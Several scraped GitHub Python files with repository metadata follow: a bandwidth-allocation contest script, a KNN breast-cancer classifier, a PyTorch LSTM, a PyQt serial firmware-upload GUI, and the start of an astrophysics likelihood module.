client_info[client][3].keys():\n client_info[client][3][site] = allocate_bandwidth\n site_info[site][3][client] = allocate_bandwidth\n else:\n client_info[client][3][site] += allocate_bandwidth\n site_info[site][3][client] += allocate_bandwidth\n #----------------------------weighted end---------------------\n if debug_client_got_bandwidth[client] != client_info[client][0]:\n print(\"ERROR! CLIENT BANDWIDTH NOT SATISFIED. time=\",t,\"client=\",client)\n #----------------add--------------\n for site in site_bandwidth.keys():\n site_t[site]['usage'].append(site_allocation[site]['usage'])\n del site_allocation[site]['usage']\n site_t[site][t] = site_allocation[site]\n #----------------add end-----------------\n\n for site in site_info.keys():\n if site in debug_site_over_ts.keys():\n debug_site_over_ts[site].append(site_info[site][0] - site_info[site][1])\n else:\n debug_site_over_ts[site] = [site_info[site][0] - site_info[site][1]]\n\n '''\n #根据client_info[client][3]里面存的字典写出来\n client_count = 1\n for client in client_info.keys():\n allocate_situation = client_info[client][3]\n total_allocate_site_number = len(allocate_situation.keys())\n solution.write(client + \":\")\n if total_allocate_site_number == 0:\n solution.write('\\n')\n continue\n site_count = 1\n for site, bandwidth in allocate_situation.items():\n if site_count < total_allocate_site_number:\n solution.write(\"<\" + site + \",\" + str(bandwidth) + \">,\")\n else:\n solution.write(\"<\" + site + \",\" + str(bandwidth) + \">\")\n site_count += 1\n if t == timestamps-1 and client_count == len(client_info.keys()):\n pass\n else:\n solution.write(\"\\n\")\n client_count += 1 \n '''\n #print(\"debug over ts:\",debug_site_over_ts['Bx'])\n #print(\"site_t\",site_t['Bx'])\n #有bug,usage是乱序记录的,看看怎么把排序搞好,这里先暂时用强行的办法把它改正过来\n for site in site_bandwidth.keys():\n for t in range(timestamps):\n debug_over = debug_site_over_ts[site][t]\n #print(\"debug over=\",debug_over)\n siteT = 0\n for client, bandwidth in site_t[site][t].items():\n #print(\"client=\",client,\"bandwidth=\",bandwidth)\n siteT += bandwidth\n if debug_over != siteT:\n #print(\"ERROR, ts=\",t,\" site=\",site)\n sys.exit(1)\n if site_t[site]['usage'][t] != siteT:\n #print(\"ERROR, usage=\",site_t[site]['usage'][t], \"debug=\",debug_over,\" siteT=\",siteT, \"at ts=\",t,\"site=\",site)\n site_t[site]['usage'][t] = siteT\n \n print(\"all ok\")\n\n # 尽可能塞满每一个边缘节点:超过95%的节点就尽量塞到上限,低于95%的节点就尽量塞到95%\n # 记录处理过的节点,避免移入节点的流量在后续操作其他节点时又流出\n site_processed = set()\n # for site in site_bandwidth.keys():\n # site_processed[site] = [t for t in range(timestamps)]\n position_95 = int(math.ceil(timestamps * 0.95) - 1)\n position_x = int(math.ceil(timestamps * 0.48) - 1)\n # 对节点根据客户数量从少到多进行排序,少客户的节点有更大概率95%值比较小\n site_info_order = sorted(client4site.items(), key=lambda x : len(x[1]))\n for site, _ in site_info_order:\n if site == '89':\n print(\"checking\")\n site_processed.add(site)\n index = np.argsort(site_t[site]['usage'])\n value_95 = site_t[site]['usage'][index[position_95]]\n value_x = site_t[site]['usage'][index[position_x]]\n if site == '89':\n print(\"value 95 =\",value_95, \"value x=\",value_x)\n \n for position, t in enumerate(index):\n left = 0\n if position <= position_95:\n left = value_95 - site_t[site]['usage'][t]\n if (t == 1 or t == \"1\") and site == \"CH\":\n print(\"v95=\",value_95,\"use = \",site_t[site]['usage'][t])\n print(\"v95 - use = left=\",left)\n else:\n left = site_bandwidth[site] - site_t[site]['usage'][t]\n if (t == 1 or t == \"1\") and site == \"CH\":\n print(\"bandwidth=\",site_bandwidth[site],\"use = \",site_t[site]['usage'][t])\n print(\"bw - use = left=\",left)\n\n if left <= 0:\n continue\n for client in client4site[site]:\n for site_client in site4client[client]:\n if left <= 0:\n break\n if site_client not in site_processed and client in site_t[site_client][t].keys():\n move_flow = min(left, site_t[site_client][t][client])\n if site == 'CH' and (t==1 or t == \"1\"):\n print(\"move flow=\",move_flow,\" from site=\",site_client,\" to site=\",site, \" at t=\",t)\n if client in site_t[site][t].keys():\n site_t[site][t][client] += move_flow\n else:\n site_t[site][t][client] = move_flow\n site_t[site]['usage'][t] += move_flow\n site_t[site_client][t][client] -= move_flow\n site_t[site_client]['usage'][t] -= move_flow\n left -= move_flow\n if site == 'CH' and (t==1 or t == \"1\"):\n print(\"check site t \", site_t[site]['usage'][t], \"client\",site_t[site][t])\n\n\n\n for site in site_bandwidth.keys():\n for t in range(timestamps):\n limit = site_bandwidth[site]\n #print(\"debug over=\",debug_over)\n siteT = 0\n for client, bandwidth in site_t[site][t].items():\n #print(\"client=\",client,\"bandwidth=\",bandwidth)\n siteT += bandwidth\n if siteT > limit:\n print(\"siteT >= bw at ts=\",t,\" site=\",site, \"siteT=\",siteT, \"limit=\",limit)\n #print(\"ERROR, ts=\",t,\" site=\",site)\n \n if site == 'CH' and (t==1 or t == \"1\"):\n print(\"check site t \", site_t[site]['usage'][t], \"client\",site_t[site][t])\n print(\"all ok\")\n \n \n # 输出结果\n line_count = 0\n for t in range(timestamps):\n for client in [x[0] for x in client_info_order]:\n if client == 'IR' and t == 0:\n print(\"checking\")\n line_count += 1\n solution.write(client + \":\")\n #修改client_info读客户需求为从demand读,这样确保更准确,从client_info读会有error continue的情况,可能前面修改过client_info\n if demand[client][t] == 0:\n solution.write('\\n')\n if client == 'IR' and t == 0:\n print(\"error continue\")\n continue\n count = 0\n writed_site_count = 0\n for site in list(site4client[client]):\n count += 1 # 当前使用的边缘节点数量\n # assigned_bandwidth = site_allocation[site][client] if client in site_allocation[site].keys() else 0\n assigned_bandwidth = site_t[site][t][client] if client in site_t[site][t].keys() else 0\n if assigned_bandwidth != 0:\n if assigned_bandwidth < 0:\n print(\" computation error \")\n # 没到最后一个边缘节点\n if count < len(list(site4client[client])):\n if writed_site_count == 0:\n solution.write(\"<\" + site + \",\" + str(assigned_bandwidth) + \">\")\n writed_site_count += 1\n \n elif writed_site_count > 0:\n solution.write(\",<\" + site + \",\" + str(assigned_bandwidth) + \">\")\n writed_site_count += 1\n \n else:\n if writed_site_count == 0:\n if line_count != timestamps*len(demand):\n solution.write(\"<\" + site + \",\" + str(assigned_bandwidth) + \">\\n\")\n \n elif line_count == timestamps*len(demand):\n solution.write(\"<\" + site + \",\" + str(assigned_bandwidth) + \">\")\n \n else:\n if line_count != timestamps*len(demand):\n solution.write(\",<\" + site + \",\" + str(assigned_bandwidth) + \">\\n\")\n \n elif line_count == timestamps*len(demand):\n solution.write(\",<\" + site + \",\" + str(assigned_bandwidth) + \">\")\n \n else:\n if count == len(list(site4client[client])) and line_count != timestamps*len(demand):\n solution.write(\"\\n\")\n solution.close()\n \n\n\n\n\n \n \n \n \n\n\n\n\n\n","repo_name":"Rodger-Huang/2022HUAWEIChallenge","sub_path":"preliminary_contest/SDK_python/CodeCraft-2022/src/CodeCraft_2022_03241058plus.py","file_name":"CodeCraft_2022_03241058plus.py","file_ext":"py","file_size_in_byte":41786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29749666948","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 7 03:55:12 2021\n\n@author: fener\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import ListedColormap\n\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split,GridSearchCV\nfrom sklearn.metrics import accuracy_score,confusion_matrix\nfrom sklearn.neighbors import KNeighborsClassifier,NeighborhoodComponentsAnalysis,LocalOutlierFactor\n\n#warning Library\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n#%% Data preprocessing\n\n# data.csv dosyasını okur\ndata = pd.read_csv(\"data.csv\")\n\n# 'Unnamed: 32','id' sütunlarını drop eder\ndata.drop(['Unnamed: 32','id'],inplace=True,axis = 1)\n\n# diagnosis sütununu target olarak değiştirir\ndata = data.rename(columns = {\"diagnosis\":\"target\"})\n\nsns.countplot(data[\"target\"])\nprint(data.target.value_counts())\n\n# target sütunundaki string M ve B değerlerini 1 ve 0 olarak değiştirir\ndata[\"target\"] = [1 if i.strip() == \"M\" else 0 for i in data.target]\n\nprint(len(data))\n\nprint(data.head())\n\nprint(\"Data shape\",data.shape)\n\nprint(data.info())\n\ndescribe = data.describe()\n\n\"\"\"\nStandardization\n\n#Missing value olmadığı belirtilmiştir.\n\"\"\"\n\n#%% EDA (Explorer Data Anlaysis)\n\n#Correlation (korelasyon matrisi)\ncorr_matrix = data.corr() \n#korelasyon matrisi gösterimi\nsns.clustermap(corr_matrix, annot = True, fmt = \".2f\") \nplt.title(\"Correlation Between Features\")\nplt.show()\n\nthreshold = 0.75\nfiltre = np.abs(corr_matrix[\"target\"]) > threshold\ncorr_features = corr_matrix.columns[filtre].tolist()\nsns.clustermap(data[corr_features].corr(),annot = True, fmt = \".2f\")\nplt.title(\"Correlation Between Features w Corr Threshold 0.75\")\n\n\"\"\"\nthere some correlated features\n\"\"\"\n# box plot \ndata_melted = pd.melt(data,id_vars = \"target\",\n var_name=\"features\",value_name=\"value\")\nplt.figure()\nsns.boxplot(x=\"features\",y=\"value\",hue=\"target\",data=data_melted)\nplt.xticks(rotation=90)\nplt.show()\n\n\"\"\"\nStandardization-normalization\n\"\"\"\n\n#pair plot\nsns.pairplot(data[corr_features],diag_kind = \"kde\",markers = \"+\",hue = \"target\")\nplt.show()\n\n# datada skewneslık var \n# skewnesslık varsa outliner detectionı doğru yapmalı ve verileri\n# gaussiana çevirmeli normalization yapmalı\n\n#%% Outlier Detection \n\"\"\"\n# Veri seti içinde bulunan aykırı değerler\n# local outlier global outlier\n# outlier Detection yöntemi olarak Density Based --> Local Outlier Factor(LOF)\n\nLOF tanım --> compare local density of one point to local density\nof its K-NN\n\nLOF değeri = (LRD. + LRD. / LRDa) X 1/2 --> LRD (Local Reachability Density)\n\nLRD = 1/ ARD --> ARD (Avarage Reachability Distance) RD/K-NN = ARD\n\nRD (Reachability Distance) \n\"\"\"\n\n# y değişkenine target sütununa koyar\ny = data.target \n\n# x değikenine datadan target sütununu drop edip kalan sütunları koyar\nx=data.drop([\"target\"],axis=1)\n# x dataframe inin sütunlarını listeye çevirip comluns değşikenine koyar\ncolumns = x.columns.tolist()\n\n# Local outlier factor kullanarak outlier ve inlier verileri tahmin eder.\nclf = LocalOutlierFactor()\nlof_pred = clf.fit_predict(x)\n\nprint(lof_pred)\n\nX_score = clf.negative_outlier_factor_\n\noutlier_score = pd.DataFrame()\noutlier_score[\"score\"] = X_score\n\n#threshold\nthreshold = -2.5\nfiltre = outlier_score[\"score\"] < threshold\n#outlier olanları bu değikende tutar\noutlier_index = outlier_score[filtre].index.tolist()\n\nplt.figure()\nplt.scatter(x.iloc[outlier_index,0], x.iloc[outlier_index,1], color=\"blue\",s=50,label=\"Outliers\")\nplt.scatter(x.iloc[:,0],x.iloc[:,1],color=\"k\",s=3,label=\"Data Points\")\n\n# X_score değerini 0 ile 1 arasında normalizasyon yapar\nradius = (X_score.max() - X_score)/(X_score.max() - X_score.min())\noutlier_score[\"radius\"] = radius\n\nplt.scatter(x.iloc[:,0],x.iloc[:,1],s=1000*radius,edgecolors=\"r\",facecolors=\"none\",label=\"Outlier Scores\")\nplt.legend()\nplt.show()\n\n\n# Drop Outliers\n\nx = x.drop(outlier_index)\ny = y.drop(outlier_index).values\n\n\n#%% Train Test Split\n\ntest_size = 0.3\nX_train,X_test,Y_train,Y_test = train_test_split(x,y, test_size=test_size,random_state=42)\n\n#%% Standardization\n\nscaler = StandardScaler()\n# X_train verisi ile scaeler eğilip ve transform yapılır\nX_train = scaler.fit_transform(X_train)\n\n# X_test verisi eğitilmiş scalera verilir ve X_test verisi transform yapılır\nX_test = scaler.transform(X_test)\n\n# X_train verisini daha önce alınan sütunlarla birleştirilip dataframe oluşturulur\nX_train_df = pd.DataFrame(X_train,columns = columns)\n# X_train verisinin describe ı\nX_train_df_describe = X_train_df.describe()\n# X_train dataframe ine target sütununu ekler\nX_train_df[\"target\"] = Y_train\nprint(X_train_df_describe)\n\n\ndata_melted = pd.melt(X_train_df,id_vars=\"target\",var_name=\"features\",value_name=\"value\")\n\nplt.figure()\nsns.boxplot(x=\"features\",y=\"value\",hue=\"target\",data=data_melted)\nplt.xticks(rotation=90)\n\n# pair plot\nsns.pairplot(X_train_df[corr_features],diag_kind = \"kde\",markers =\"+\",hue = \"target\")\nplt.show()\n\n \n#%% BASIC K-NN METHOD\n\n\"\"\"\nKNN PROS AND CROSS\n#EĞİTME YOK\n#İMPLEMENT ETMESİ KOLAY\n#TUNE ETMESİ KOLAY\n\n-----------------\n\n#OUTLİER VARSA MODEL DÜZGÜN ÇALIŞMAZ\n#ÇOK VERİ VARSA KNN ALGIRİTMASI YAVAŞLAR\n#CURSE OF DİMENSİONALİTY - ÇOK FAZLA FEATURE VARSA ALGORİTMA SIKINTI ÇIKARIR\n#FEATURE SCALİNG YAPILMALI\n#İNBALANCE DATA VARSA SIKINTI OLUR\n\n\"\"\"\n\n# knn sınıflandırıcısını oluşturur\nknn = KNeighborsClassifier(n_neighbors =2)\n# sınıflandırıcıyı x_train verisi ve y_train target verisi ile fit edder\nknn.fit(X_train,Y_train)\n# X_test verisi ile prediction gerçekleştirir\ny_pred = knn.predict(X_test)\n# Y_test i ve y_pred i karşılaştırarak bir confusion matris çıkartır\ncm = confusion_matrix(Y_test, y_pred)\n# accuracy score unu belirler\nacc = accuracy_score(Y_test,y_pred)\n# score değerini gösterir\nscore = knn.score(X_test,Y_test)\nprint(\"score: \",score)\nprint(\"CM: \",cm)\nprint(\"Basic KNN Acc: \",acc)\n\n# score: 0.9532163742690059\n# [[108 1] 108 doğru tahmin 1 yanlış tahmin\n# [ 7 55]] 55 doğru tahmin 7 yanlış tahmin\n# Basic KNN Acc: 0.9532163742690059\n\n#%% KNN Tune (En iyi parametre bulma)\n\n\ndef KNN_Best_Params(x_train,x_test,y_train,y_test):\n \n # 30 tane k değeri için en uygun k değerini bulmaya çalışır\n k_range = list(range(1,31))\n # uniform ve distance için en uygunu bulmamız gerekir\n weight_options = [\"uniform\",\"distance\"]\n print()\n # grid search yapmak için gerekli olan parametleri dictionary e atarız\n param_grid = dict(n_neighbors = k_range,weights = weight_options)\n # hiçbir parametreye dokunmadan knn sınıflandırıcısını kullancağız\n knn = KNeighborsClassifier()\n \n # machine learning modeli olarak grid search yaparken knn ni kullan,parametre olarak param_gird dictionarysini kullan,cross validation 10 kere yapıcak\n # score olarak da accuracy yi kabul edicek \n grid = GridSearchCV(knn, param_grid, cv = 10,scoring = \"accuracy\")\n # fit etmek için train verisini kullanacağız\n grid.fit(x_train,y_train)\n \n # gird best score u ve best paramsı yazdır\n print(\"Best training score: {} with parameters: {}\".format(grid.best_score_,grid.best_params_))\n print()\n \n # belirlenen best params lara göre knn modeli fit edilir \n knn = KNeighborsClassifier(**grid.best_params_)\n knn.fit(x_train,y_train)\n \n # overfitting underftting oluğ olmadığını anlamak için x_train ve x_test verisi için prediction yapıyoruz\n y_pred_test = knn.predict(x_test)\n y_pred_train = knn.predict(x_train)\n \n # confusion matrislerine bakıyoruz\n cm_test = confusion_matrix(y_test, y_pred_test)\n cm_train = confusion_matrix(y_train, y_pred_train)\n \n # accuracy scorelarına bakıyoruz\n acc_test = accuracy_score(y_test, y_pred_test)\n acc_train = accuracy_score(y_train, y_pred_train)\n \n print(\"Test score: {}, Train Score: {}\".format(acc_test,acc_train))\n print()\n print(\"CM Test: \",cm_test)\n print(\"CM Train: \",cm_train)\n\n return grid\n\n\ngrid = KNN_Best_Params(X_train, X_test, Y_train, Y_test)\n\n\n# train score test score dan yüksekse ezberleme overfitting söz konusudur\n\n# high variance overfitting\n\n# high bias underfitting\n\n# regularization çözüm olabilir\n# cross validation yapılabilr\n# model complexity yi düşürülebilir. variance azalır .\n\n\nprint(\"what was acc? \",acc)\n\ny_pred = knn.predict(X_train)\nacc = accuracy_score(Y_train, y_pred)\n\nprint(\"Now acc?\",acc)\n\n\n\n#%% PCA (Principal Component Analysis)\n\n\"\"\"\nmümkün olduuğu kadar veri tutar dimension feature sayısı sample sayısı \nveri boyutunu azaltabiliriz\ncorrelation matrisi varsa ne işe yaradığını bilmediğimiz featureları kaldırabiliriz\ngörselleştirme için de kullanılır\neigen vector ve eigen value ları bulmaya yarar\nx eksenindeki mean ortalamasını buluruz\ny ekseninde mean ortalamasını buluruz\nx - meanx = x\ny - meany = y\ncovaryansını buluruz = \nEIGEN VECTOR BOYUT SAYISI\nEIGEN VALUE MAGNİTUDE \n\n\"\"\"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"emrecck/BreastCancerClassification","sub_path":"proje.py","file_name":"proje.py","file_ext":"py","file_size_in_byte":9056,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33500976772","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom argparse import Namespace\n\nimport torch\nimport torch.nn as nn\n\nfrom torch.utils.data import DataLoader\nfrom dataset import PalindromeDataset\n\n\nclass LSTM(nn.Module):\n\n def __init__(self, seq_length, input_dim, num_hidden, num_classes, batch_size, device='cpu', **kwargs):\n super(LSTM, self).__init__()\n self.X_dimensions = (batch_size, seq_length, input_dim)\n self.seq_length = seq_length\n self.input_length = seq_length\n self.input_dim = input_dim\n self.num_hidden = num_hidden\n self.num_classes = num_classes\n self.batch_size = batch_size\n self.device = device\n self.activation_gates = nn.Sigmoid() #nn.Tanh()\n self.activation_hidden = nn.Tanh()\n\n # consist of W_-x matrices\n self.W_x = nn.init.kaiming_normal_(nn.Parameter(torch.rand(4, input_dim, num_hidden)))\n self.W_h = nn.init.kaiming_normal_(nn.Parameter(torch.rand(4, num_hidden, num_hidden)))\n self.W_p = nn.init.kaiming_normal_(nn.Parameter(torch.rand(num_hidden, num_classes)))\n self.bias_gates = nn.Parameter(torch.rand(4, batch_size, num_hidden))\n self.bias_p = nn.Parameter(torch.rand(batch_size, num_classes))\n\n def forward(self, x):\n \"\"\"\n x : tensor [Batch_size, seq_length, dim] (e.g. dim = 1)\n \"\"\"\n ############################## Approach 1 #########################################################\n # X = x\n # h_t = torch.zeros(4, self.batch_size, self.num_hidden, device=self.device)\n # c_tmin1 = torch.zeros(4, self.batch_size, self.num_hidden, device=self.device)\n # for t in range(X.size()[1]):\n # # create a tensor with input x's dims: [4,B,D)\n # # X_in = torch.cat([X[None,:,0,:],X[None,:,0,:],X[None,:,0,:],X[None,:,0,:]],dim=0)\n # X_t = torch.cat([X[:, t, :].view(1, -1, 1),X[:, t, :].view(1, -1, 1),X[:, t, :].view(1, -1, 1),X[:, t, :].view(1, -1, 1)],dim=0)\n # # term1 = torch.einsum('kij,bij->kji', X_in, self.W_x) # kij,kij->kij , kij,kjl->kil\n # tmm1 = torch.einsum('kij,kjl->kil', X_t, self.W_x)\n # tmm2 = torch.einsum('kij,kjl->kil', h_t, self.W_h)\n # gates_t = self.activation_gates(tmm1 + tmm2 + self.bias_gates)\n # c_t = gates_t[0,:,:] * gates_t[1,:,:] + c_tmin1 * gates_t[2,:,:]\n # h_t = self.activation_hidden(c_t) * gates_t[3,:,:]\n #\n # return h_t[0,:,:]\n\n #####################################################################################################\n\n X = x\n h_t = torch.zeros(self.batch_size, self.num_hidden, device=self.device)\n c_t = torch.zeros(self.batch_size, self.num_hidden, device=self.device)\n for t in range(X.size()[1]):\n # create a tensor with input x's dims: [4,B,D)\n X_t = torch.cat([X[:, t, :].view(1, -1, 1), X[:, t, :].view(1, -1, 1),X[:, t, :].view(1, -1, 1),X[:, t, :].view(1, -1, 1)], dim=0)\n # term1 = torch.einsum('kij,bij->kji', X_in, self.W_x) # kij,kij->kij , kij,kjl->kil\n tmm1 = torch.einsum('kij,kjl->kil', X_t, self.W_x)\n tmm2 = torch.einsum('ij,kjl->kil', h_t, self.W_h)\n gates_t = self.activation_gates(tmm1 + tmm2 + self.bias_gates)\n c_t = gates_t[0, :, :] * gates_t[1, :, :] + c_t * gates_t[2, :, :]\n h_t = self.activation_hidden(c_t) * gates_t[3, :, :]\n\n return torch.matmul(h_t, self.W_p) + self.bias_p\n\n\nif __name__ == '__main__':\n palindrom_generator = PalindromeDataset(3)\n pali = palindrom_generator.generate_palindrome()\n print(pali)\n\n ############################### Comment out Before Submission #######################\n # defaults\n config = {'model_type': 'LSTM', 'seq_length': 5, 'input_length': 10, 'input_dim': 1, 'num_classes': 10,\n 'num_hidden': 100, 'batch_size': 128, 'learning_rate': 0.001, 'train_steps': 10000, 'max_norm': 10.0,\n 'device': 'cpu'}\n config = Namespace(**config)\n ###########################################################################\n\n\n # Initialize the dataset and data loader (note the +1)\n config\n dataset = PalindromeDataset(config.input_length + 1)\n data_loader = DataLoader(dataset, config.batch_size, num_workers=1)\n\n model = LSTM(**config.__dict__)\n\n X_itarable = enumerate(data_loader)\n step, (X, y) = next(X_itarable)\n if X.dim() != len(model.X_dimensions):\n X = X.view(X.size()[0], X.size()[1], 1) #X[..., None]\n\n\n model.forward(X)\n","repo_name":"freelectron/dl-course-work","sub_path":"assignment_2/part1/lstm.py","file_name":"lstm.py","file_ext":"py","file_size_in_byte":4647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7042182494","text":"import sys\nfrom dfu_utils import dfu_host\n\n#Starter code from:\n# https://realpython.com/python-pyqt-gui-calculator/\n\n# 1. Import `QApplication` and all the required widgets\nfrom PyQt5.QtWidgets import QApplication, QLabel, QWidget, QComboBox, QLineEdit, QPushButton\n\nimport serial.tools.list_ports\n\nclass Window(QWidget):\n def __init__(self, parent=None) -> None:\n super().__init__(parent)\n self.width = 600\n self.height = 300\n self.setWindowTitle(\"Robotic HID DFU\")\n self.setGeometry(900, 1000, self.width, self.height)\n self.move(900, 1000)\n\n self.title = QLabel(\"<h1>Robotic HID Device</h1>\", parent=self)\n self.title2 = QLabel(\"<h1>Firmware Update GUI</h1>\", parent=self)\n self.title.move(60, 15)\n self.title2.move(60, 65)\n\n self.status = QLabel(\"Waiting to hit upload\", parent=self)\n self.status.move(60, 200)\n\n self.__create_combo_box()\n self.__create_file_path_input()\n self.__create_button()\n self.dfu_host = dfu_host()\n\n \n def __create_combo_box(self):\n #combo box tutorial from: https://www.tutorialspoint.com/pyqt/pyqt_qcombobox_widget.htm\n self.cb_label = QLabel('Select a serial port', parent=self)\n self.cb_label.move(60, 120)\n self.cb = QComboBox(self)\n serial_ports = self.__get_serial_ports()\n self.cb.addItems(serial_ports)\n self.cb.move(60, 150)\n pass\n\n def cb_selection_change(self):\n print(self.cb.currentText())\n pass\n\n def __get_serial_ports(self) -> list:\n port_list_str = []\n ports = serial.tools.list_ports.comports()\n for port, desc, hwid in sorted(ports):\n port_list_str.append(str(port))\n \n return port_list_str\n\n def __create_file_path_input(self):\n self.line_edit = QLineEdit(self)\n self.line_edit_label = QLabel('Enter filepath to binary', parent=self)\n self.line_edit_label.move(300, 120)\n self.line_edit.move(300, 150)\n self.line_edit_text = \"\"\n self.line_edit.textChanged.connect(self.line_edit_changed)\n\n def line_edit_changed(self, text):\n self.line_edit_text = text\n\n def __create_button(self):\n self.button = QPushButton('Upload', self)\n self.button.move(300, 210)\n self.button.clicked.connect(self.button_clicked)\n\n def button_clicked(self):\n self.status.setText(\"Uploading...\")\n self.dfu_host.open(self.cb.currentText())\n try:\n self.dfu_host.upload_file(self.line_edit_text.strip(\"\\\"\"))\n except Exception as e:\n self.status.setText(str(e))\n return\n self.status.setText(\"Upload complete\")\n pass\n \n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n window = Window()\n window.show()\n\n # window = QWidget()\n # window.setWindowTitle('Bootloader')\n # window.setGeometry(900, 1000, 1200, 600)\n # window.move(60, 15)\n # title = QLabel('<h1>Robotic HID Device Firmware Update GUI</h1>', parent=window)\n # title.move(60, 15)\n\n # instructions = QLabel('Paste the location of the binary below', parent=window)\n # instructions.move(60, 90)\n\n\n\n \n window.show()\n \n sys.exit(app.exec_())","repo_name":"sahil-kale/robotic-hid","sub_path":"desktop_bootloader_app/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":3273,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"33311584624","text":"from abc import abstractmethod\nimport numpy as np\nimport os\nfrom copy import deepcopy\nfrom time import time\nfrom scipy.interpolate import interp1d\nimport scipy\nfrom astropy.units import Unit\nfrom argparse import ArgumentParser\nimport galsim as gs\nfrom galsim.angle import Angle, radians\nimport matplotlib.pyplot as plt\nfrom numba import njit\n\nimport utils\nimport priors\nimport intensity\nfrom parameters import Pars, MetaPars\n# import parameters\nfrom velocity import VelocityMap\nfrom cube import DataVector, DataCube\n\nimport ipdb\n\n# TODO: Make LogLikelihood a base class w/ abstract call,\n# and make current implementation for IFU\n\nparser = ArgumentParser()\n\nparser.add_argument('--show', action='store_true', default=False,\n help='Set to show test plots')\nparser.add_argument('--test', action='store_true', default=False,\n help='Set to run tests')\n\nclass LogBase(object):\n '''\n Base class for a probability dist that holds the meta and\n sampled parameters\n '''\n\n def __init__(self, parameters, datavector):\n '''\n parameters: Pars\n Pars instance that holds all parameters needed for MCMC\n run, including SampledPars and MetaPars\n datavector: DataCube, etc.\n Arbitrary data vector that subclasses from DataVector.\n If DataCube, truncated to desired lambda bounds\n '''\n\n utils.check_type(parameters, 'pars', Pars)\n utils.check_type(datavector, 'datavector', DataVector)\n\n # add an internal field to the meta pars dictionary\n parameters.meta['_likelihood'] = {}\n\n self.parameters = parameters\n self.datavector = datavector\n\n return\n\n @property\n def meta(self):\n '''\n While this is the default name for the meta parameters, we still\n allow for \"pars\" instead to be consistent with the older version\n '''\n return self.parameters.meta\n\n @property\n def pars(self):\n '''\n To be consistent with the older version of the code, we allow for\n the metaparameters simply as \"pars\" after instantiation\n '''\n return self.parameters.meta\n\n @property\n def sampled(self):\n return self.parameters.sampled\n\n @property\n def pars_order(self):\n return self.parameters.sampled.pars_order\n\n def pars2theta(self, pars):\n return self.sampled.pars2theta(pars)\n\n def theta2pars(self, theta):\n return self.sampled.theta2pars(theta)\n\n @abstractmethod\n def __call__(self):\n '''\n Must be implemented in actual classes\n '''\n pass\n\nclass LogPosterior(LogBase):\n '''\n Class to evaluate the log posterior of a datacube\n with the log prior and log likelihood constructed given\n the passed sampled & meta parameters\n '''\n\n def __init__(self, parameters, datavector, likelihood='default'):\n '''\n parameters: Pars\n Pars instance that holds all parameters needed for MCMC\n run, including SampledPars and MCMCPars\n datavector: DataCube, etc.\n Arbitrary data vector that subclasses from DataVector.\n If DataCube, truncated to desired lambda bounds\n '''\n\n super(LogPosterior, self).__init__(parameters, datavector)\n\n self.log_prior = LogPrior(parameters)\n self.log_likelihood = build_likelihood_model(\n likelihood, parameters, datavector\n )\n\n self.ndims = len(parameters.sampled)\n\n return\n\n def blob(self, prior, likelihood):\n '''\n Set what the blob returns\n\n For the base class, this will just be the (prior, likelihood)\n tuple\n '''\n return (prior, likelihood)\n\n def __call__(self, theta, data, pars):\n '''\n Natural log of the posterior dist. Target function for chosen\n sampler\n\n theta: list\n Sampled parameters. Order defined in self.pars_order\n data: DataCube, etc.\n Arbitrary data vector. If DataCube, truncated\n to desired lambda bounds\n '''\n\n logprior = self.log_prior(theta)\n\n if logprior == -np.inf:\n return -np.inf, self.blob(-np.inf, -np.inf)\n\n else:\n loglike = self.log_likelihood(theta, data)\n\n return logprior + loglike, self.blob(logprior, loglike)\n\nclass LogPrior(LogBase):\n def __init__(self, parameters):\n '''\n pars: Pars\n A parameters.Pars object, containing both\n sampled & meta parameters\n '''\n\n # Can't use parent constructor as the prior doesn't\n # have access to the datavector\n utils.check_type(parameters, 'pars', Pars)\n self.parameters = parameters\n\n self.priors = parameters.meta['priors']\n\n return\n\n def __call__(self, theta):\n '''\n theta: list\n Sampled MCMC parameters\n '''\n\n pars_order = self.parameters.sampled.pars_order\n\n logprior = 0\n\n for name, prior in self.priors.items():\n indx = pars_order[name]\n logprior += prior(theta[indx], log=True)\n\n return logprior\n\nclass LogLikelihood(LogBase):\n\n def __init__(self, parameters, datavector):\n '''\n parameters: Pars\n Pars instance that holds all parameters needed for MCMC\n run, including SampledPars and MetaPars\n datavector: DataCube, etc.\n Arbitrary data vector that subclasses from DataVector.\n If DataCube, truncated to desired lambda bounds\n '''\n\n super(LogLikelihood, self).__init__(parameters, datavector)\n\n # Sometimes we want to marginalize over parts of the posterior explicitly\n self._setup_marginalization(self.meta)\n\n return\n\n def _setup_marginalization(self, pars):\n '''\n Check to see if we need to sample from a marginalized posterior\n\n pars: MetaPars\n Dictionary full of run parameters\n '''\n\n # TODO: May want something more general in the future, but for now\n #the only likely candidate is the intensity map\n # self.marginalize = {}\n\n # names = ['intensity']\n # for name in names:\n # if hasattr(pars, f'marginalize_{name}'):\n # self.marginalize[name] = pars[f'marginalize_{name}']\n # else:\n # self.marginalize[name] = False\n\n # simple version:\n key = 'marginalize_intensity'\n if hasattr(pars, key):\n self.marginalize_intensity = pars[key]\n else:\n self.marginalize_intensity = False\n\n return\n\n def __call__(self, theta, datavector):\n '''\n Do setup and type / sanity checking here\n before calling the abstract method _loglikelihood,\n which will have a different implementation for each class\n\n theta: list\n Sampled parameters. Order defined in self.pars_order\n datavector: DataCube, etc.\n Arbitrary data vector that subclasses from DataVector.\n If DataCube, truncated to desired lambda bounds\n '''\n\n # unpack sampled params\n theta_pars = self.theta2pars(theta)\n\n # setup model corresponding to datavector type\n model = self._setup_model(theta_pars, datavector)\n\n # if we are computing the marginalized posterior over intensity\n # map parameters, then we need to scale this likelihood by a\n # determinant factor\n if self.marginalize_intensity 